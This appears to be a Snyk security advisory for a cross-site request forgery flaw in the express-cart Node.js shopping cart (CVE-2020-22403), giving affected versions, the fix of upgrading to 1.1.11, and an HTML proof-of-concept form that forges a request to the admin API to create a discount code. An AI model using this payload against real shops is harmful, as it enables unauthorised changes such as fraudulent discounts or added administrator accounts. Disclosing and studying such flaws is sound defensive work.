Cross-site Request Forgery (CSRF) Affecting express-cart package, versions <1.1.11


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.07% (35th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-EXPRESSCART-1540669
  • published13 Aug 2021
  • disclosed13 Aug 2021
  • credittuo4n8

Introduced: 13 Aug 2021

CVE-2020-22403  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade express-cart to version 1.1.11 or higher.

Overview

express-cart is a fully functional shopping cart built in Node.js (Express, MongoDB) with Stripe, PayPal and Authorize.net payments.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to missing checks in the Admin API, allowing attackers to add an administrator account, add a discount code or perform other unspecified behavior.

PoC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:1111/admin/settings/discount/create" method="POST">
      <input type="hidden" name="code" value="CSRF&#45;CODE&#45;DEMO" />
      <input type="hidden" name="type" value="percent" />
      <input type="hidden" name="value" value="30" />
      <input type="hidden" name="start" value="21&#47;02&#47;2020&#32;14&#58;32" />
      <input type="hidden" name="end" value="22&#47;02&#47;2020&#32;14&#58;32" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

CVSS Base Scores

version 3.1